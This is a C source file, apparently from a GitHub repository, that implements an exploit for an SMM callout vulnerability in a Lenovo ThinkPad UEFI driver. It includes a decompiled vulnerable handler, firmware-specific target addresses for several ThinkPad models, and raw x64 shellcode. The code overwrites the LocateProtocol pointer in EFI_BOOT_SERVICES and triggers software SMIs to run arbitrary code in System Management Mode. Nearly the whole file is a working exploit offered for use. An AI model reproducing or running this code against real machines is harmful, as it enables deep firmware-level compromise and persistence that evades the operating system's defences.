Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
#include "stdafx.h"
/*
Lenovo ThinkPad SystemSmmAhciAspiLegacyRt UEFI driver SMM callout vulnarebility exploit.
FFS file GUID of vulnerable driver: 124A2E7A-1949-483E-899F-6032904CA0A7
Vulnerable handler code on ThinkPad T450s:
EFI_STATUS __fastcall sub_3DC(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4)
{
_QWORD *v4; // rbx@1
__int64 v5; // rax@1
unsigned __int16 v7; // [sp+30h] [bp-18h]@3
int v8; // [sp+60h] [bp+18h]@5
int v9; // [sp+68h] [bp+20h]@1
v9 = 0;
v4 = a2;
//
// Vulnerability is here:
//
// SMI handler code calls LocateProtocol() function which address is
// stored in EFI_BOOT_SERVICES structure that accessbile for operating
// system during runtime phase. Attacker can overwrite LocateProtocol()
// address with shellcode address and get SMM code execution.
//
LODWORD(v5) = gBS->LocateProtocol(&stru_270, 0i64, &qword_BC0);
if (v5 >= 0)
{
gEfiSmmCpuProtocol->ReadSaveState(gEfiSmmCpuProtocol, 2u, EFI_SMM_SAVE_STATE_REGISTER_ES, 0, &v9);
gEfiSmmCpuProtocol->ReadSaveState(gEfiSmmCpuProtocol, 4u, EFI_SMM_SAVE_STATE_REGISTER_RBX, 0, &v7);
if (*v4 == 0xFFFFFFFFi64)
{
//
// Another vulnerability is here:
//
// sub_93C() function accepts argument as a astructure with attacker controllable
// address which allows to overwrite arbitray memory address wthin the SMRAM.
// Cehck binary code of sub_93C() for more information.
//
sub_93C(v7);
}
}
else
{
qword_BC0 = 0i64;
}
gEfiSmmCpuProtocol->ReadSaveState(gEfiSmmCpuProtocol, 4u, EFI_SMM_SAVE_STATE_REGISTER_RFLAGS, 0, &v8);
v8 &= 0xFFFFFFFA;
return gEfiSmmCpuProtocol->WriteSaveState(gEfiSmmCpuProtocol, 4u, EFI_SMM_SAVE_STATE_REGISTER_RFLAGS, 0, &v8);
}
*/
// LocateProtocol field offset
#define EFI_BOOT_SERVICES_LocateProtocol 0x140
/*
List of model and firmware version specific constants for different targets.
*/
static UEFI_EXPL_TARGET g_targets[] =
{
{ 0x3b08a3b0, 0x07, "Lenovo ThinkPad X220 firmware 1.40" },
{ 0xd12493b0, 0x01, "Lenovo ThinkPad X230 firmware 2.61" },
{ 0xa11a6750, 0x03, "Lenovo ThinkPad T450s firmware 1.11" }
};
// offsets of handler and context values in g_shellcode
#define SHELLCODE_OFFS_HANDLER 33
#define SHELLCODE_OFFS_CONTEXT 23
static unsigned char g_shellcode[] =
{
/*
Save registers
*/
0x53, // push rbx
0x51, // push rcx
0x52, // push rdx
0x56, // push rsi
0x57, // push rdi
0x41, 0x50, // push r8
0x41, 0x51, // push r9
0x41, 0x52, // push r10
0x41, 0x53, // push r11
0x41, 0x54, // push r12
0x41, 0x55, // push r13
0x41, 0x56, // push r14
0x41, 0x57, // push r15
/*
Call smm_handler() function.
*/
0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, smm_context
0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, smm_handler
0x48, 0x83, 0xec, 0x20, // sub rsp, 0x20
0xff, 0xd0, // call rax
0x48, 0x83, 0xc4, 0x20, // add rsp, 0x20
/*
Restore registers.
*/
0x41, 0x5f, // pop r15
0x41, 0x5e, // pop r14
0x41, 0x5d, // pop r13
0x41, 0x5c, // pop r12
0x41, 0x5b, // pop r11
0x41, 0x5a, // pop r10
0x41, 0x59, // pop r9
0x41, 0x58, // pop r8
0x5f, // pop rdi
0x5e, // pop rsi
0x5a, // pop rdx
0x59, // pop rcx
0x5b, // pop rbx
/*
Shellcode must return -1 to bypass other functions calls inside
sub_3DC() SMI handler to prevent fauls inside SMM.
*/
0x48, 0x31, 0xc0, // xor rax, rax
0x48, 0xff, 0xc8, // dec rax
0xc3 // ret
};
//--------------------------------------------------------------------------------------
// put SMM function into the separate executable section
#pragma code_seg("_SMM")
static void smm_handler(PUEFI_EXPL_SMM_SHELLCODE_CONTEXT context)
{
if (context->ptr_addr)
{
// restore overwritten pointer
*(unsigned long long *)context->ptr_addr = context->ptr_val;
}
// tell to the caller that smm_handler() was executed
context->smi_count += 1;
if (context->user_handler)
{
UEFI_EXPL_SMM_HANDLER user_handler = (UEFI_EXPL_SMM_HANDLER)context->user_handler;
// call external handler
user_handler((void *)context->user_context);
}
}
#pragma code_seg()
//--------------------------------------------------------------------------------------
void expl_lenovo_SystemSmmAhciAspiLegacyRt_targets_info(void)
{
printf("Available targets:\n");
for (int i = 0; i < sizeof(g_targets) / sizeof(UEFI_EXPL_TARGET); i++)
{
// get target model information
UEFI_EXPL_TARGET *target = &g_targets[i];
printf(
" %d: addr = 0x%llx, SMI = %d, name = %s\n",
i, target->addr, target->smi_num, target->name
);
}
}
//--------------------------------------------------------------------------------------
#pragma optimize("", off)
static void smm_image_section_workaround(void)
{
/*
smm_handler() and other functions that being executed in SMM
are stored in separate executable image section "_SMM". Windows
will copy contents of this section into the physical memory only
after the first access to it's virtual memory pages.
*/
unsigned char foo = *(unsigned char *)&smm_handler;
}
#pragma optimize("", on)
//--------------------------------------------------------------------------------------
bool expl_lenovo_SystemSmmAhciAspiLegacyRt_init(PUEFI_EXPL_TARGET target, int target_num)
{
if (target_num != -1)
{
// use known target
if (target_num < 0 || target_num >= sizeof(g_targets) / sizeof(UEFI_EXPL_TARGET))
{
printf(__FUNCTION__"() ERROR: Invalid target number %d\n", target_num);
return false;
}
// get specific target information
memcpy(target, &g_targets[target_num], sizeof(UEFI_EXPL_TARGET));
}
else
{
if (target->smi_num != -1 && target->smi_num > MAX_SMI_NUM)
{
printf(__FUNCTION__"() ERROR: SMI handler number %d is invalid\n", target->smi_num);
return false;
}
}
return true;
}
//--------------------------------------------------------------------------------------
bool expl_lenovo_SystemSmmAhciAspiLegacyRt(
PUEFI_EXPL_TARGET target,
UEFI_EXPL_SMM_HANDLER handler, void *context,
bool quiet)
{
bool ret = false;
UEFI_EXPL_SMM_SHELLCODE_CONTEXT smm_context;
smm_context.smi_count = 0;
smm_context.user_handler = smm_context.user_context = 0;
// see comments
smm_image_section_workaround();
if (!quiet)
{
printf("Using target \"%s\"\n", target->name);
}
if (target->addr == 0)
{
// find EFI_BOOT_SERVICES.LocateProtocol address dynamically
unsigned long long efi_boot_services = win_get_efi_boot_services();
if (efi_boot_services == 0)
{
printf(__FUNCTION__"() ERROR: Unable to find EFI_BOOT_SERVICES address\n");
return false;
}
target->addr = efi_boot_services + EFI_BOOT_SERVICES_LocateProtocol;
}
if (!quiet)
{
printf("EFI_BOOT_SERVICES.LocateProtocol address is 0x%llx\n", target->addr);
}
if (!quiet && target->smi_num != -1)
{
printf("SMI handler number is %d\n", target->smi_num);
}
if (handler)
{
unsigned long long addr = (unsigned long long)handler;
// call caller specified handler from SMM
if (!uefi_expl_phys_addr(addr, &smm_context.user_handler))
{
printf(__FUNCTION__"() ERROR: uefi_expl_phys_addr() fails\n");
return false;
}
smm_context.user_context = (unsigned long long)context;
}
unsigned long long handler_addr = (unsigned long long)&smm_handler, handler_phys_addr = 0;
unsigned long long context_addr = (unsigned long long)&smm_context, context_phys_addr = 0;
// get physical address of smm_handler()
if (!uefi_expl_phys_addr(handler_addr, &handler_phys_addr))
{
printf(__FUNCTION__"() ERROR: uefi_expl_phys_addr() fails\n");
return false;
}
// get physical address of smm_context
if (!uefi_expl_phys_addr(context_addr, &context_phys_addr))
{
printf(__FUNCTION__"() ERROR: uefi_expl_phys_addr() fails\n");
return false;
}
if (!quiet)
{
printf(
"SMM payload handler address is 0x%llx with context at 0x%llx\n",
handler_phys_addr, context_phys_addr
);
}
unsigned long long sc_addr = 0, sc_phys_addr = 0;
// allocate memory for shellcode
if (uefi_expl_mem_alloc(PAGE_SIZE, &sc_addr, &sc_phys_addr))
{
unsigned char shellcode[sizeof(g_shellcode)];
memcpy(shellcode, g_shellcode, sizeof(g_shellcode));
*(unsigned long long *)&shellcode[SHELLCODE_OFFS_HANDLER] = handler_phys_addr;
*(unsigned long long *)&shellcode[SHELLCODE_OFFS_CONTEXT] = context_phys_addr;
if (!quiet)
{
printf("Physical memory for shellcode allocated at 0x%llx\n", sc_phys_addr);
}
if (uefi_expl_phys_mem_write(sc_phys_addr, sizeof(shellcode), shellcode))
{
unsigned long long ptr_val = 0;
// read original pointer value
if (uefi_expl_phys_mem_read(target->addr, sizeof(ptr_val), (unsigned char *)&ptr_val))
{
if (!quiet)
{
printf("Old pointer 0x%llx value is 0x%llx\n", target->addr, ptr_val);
}
smm_context.ptr_addr = target->addr;
smm_context.ptr_val = ptr_val;
// overwrite pointer value
if (uefi_expl_phys_mem_write(target->addr, sizeof(sc_phys_addr), (unsigned char *)&sc_phys_addr))
{
unsigned char smi_num = 0;
if (target->smi_num != -1)
{
/*
Use specific SMI handler, in other case -- try to exploit
all of the SMI handlers from 0 to 255.
*/
smi_num = (unsigned char)target->smi_num;
}
while (smi_num < MAX_SMI_NUM)
{
if (!quiet)
{
printf("Generating software SMI %d...\n", smi_num);
}
if (uefi_expl_smi_invoke(smi_num))
{
if (smm_context.smi_count > 0)
{
ret = true;
}
if (!quiet)
{
printf(__FUNCTION__"(): Exploitation %s\n", ret ? "success" : "fails");
}
}
else
{
printf(__FUNCTION__"() ERROR: uefi_expl_smi_invoke() fails\n");
}
if (target->smi_num != -1 || ret)
{
target->smi_num = smi_num;
break;
}
// check next SMI handler
smi_num += 1;
}
// restore overwritten value
uefi_expl_phys_mem_write(target->addr, sizeof(ptr_val), (unsigned char *)&ptr_val);
}
else
{
printf(__FUNCTION__"() ERROR: uefi_expl_phys_mem_write() fails\n");
}
}
else
{
printf(__FUNCTION__"() ERROR: uefi_expl_phys_mem_read() fails\n");
}
}
else
{
printf(__FUNCTION__"() ERROR: uefi_expl_phys_mem_write() fails\n");
}
// free memory
uefi_expl_mem_free(sc_addr, PAGE_SIZE);
}
else
{
printf(__FUNCTION__"() ERROR: uefi_expl_mem_alloc() fails\n");
}
return ret;
}
//--------------------------------------------------------------------------------------
// EoF